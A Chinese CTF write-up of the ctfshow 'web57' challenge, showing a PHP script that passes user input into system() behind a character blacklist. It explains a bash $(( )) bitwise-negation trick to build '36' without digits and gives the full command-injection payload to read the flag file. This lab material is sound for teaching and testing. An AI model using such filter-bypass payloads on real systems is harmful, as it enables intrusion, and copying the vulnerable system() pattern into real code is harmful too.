当前位置: 首页 > news >正文

ctfshow web57

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-08 01:02:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){system("cat ".$c.".php");}
}else{highlight_file(__FILE__);
}

过滤了; a-z 0-9``反引号 % \x09 \x26 > <``\x0a``(``{``'``" ````# .,?*-=``[`

可以说过滤的非常完全了,之前的临时文件上传也无法使用了(.和/都给你过滤了),这里没有办法,但是看到flag in 36.php或许是突破口,但是数字不是过滤了吗

利用linux的$(())构造出36

$(())=0

$((~ $(()) ))=-1

(())是用来整数运算的命令,内部可以放表达式,默认相加,通过$((~36)) 可得36取反为-37

综合上述,可以构造payload

:::info
?c=$(($((</font>$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(()))) ))))

:::

payload中标红的地方就是取反,红色里面包含37个$((~$(())))都是-1,默认相加,得到-37后再取反即可得到36

http://www.sczhlp.com/news/116371/

相关文章:

  • 01
  • 西安网站制作推广代做网站公司有哪些
  • 门户网站改版建议ui设计优秀案例
  • xp asp 网站建设重庆建设工程信息网下载
  • 产品建站工具国内谷歌网站SEO优化
  • 做网站工单室内设计培训班排行榜
  • 做网站与不做网站的区别做网站必须购买空间吗?
  • 常州网站开发培训公司背景墙logo设计
  • 如何通过psd做网站网站建设中的注册和登录页面
  • test 1
  • 网站建设项目资金申请报告wordpress原创meta
  • 微信商城网站怎么做360搜索优化
  • 徐州市徐州市城乡建设局网站windows网站建设教程视频教程
  • 昆明网站免费制作宁波市建设局官网
  • 南昌网站建设公司哪家好新手用什么程序建网站
  • 大学英语精品课程网站建设中国互联网协会网站
  • 建设厅网站密码忘了怎么办上海ktv目前营业情况
  • 电子商务网站建设 实验做中小型网站最好的架构
  • 东莞网站建设怎么样昆明网站建设公司_
  • 计算机网络网站建设的实训总结6图片制作视频短片用什么软件好
  • 找最新游戏做视频网站都江堰住房和城乡建设厅网站
  • 做海淘的网站wordpress建站主题
  • 海康域名网站网页打不开怎么设置
  • 易语言做检测网站更新大型外贸网站建设
  • Ubuntu 18.04 LTS 安装 6.10.10 内核 - 教程
  • 国标GB28181视频平台EasyGBS核心功能解密:如何实现海量设备的录像精准检索与高效回放?
  • 最大流判定+拆点
  • 企业网站一般用什么域名深圳保障性住房可以买卖吗
  • 网站编程学新手怎么引流推广
  • 国家企业信用信息公示网查询系统seo手机优化方法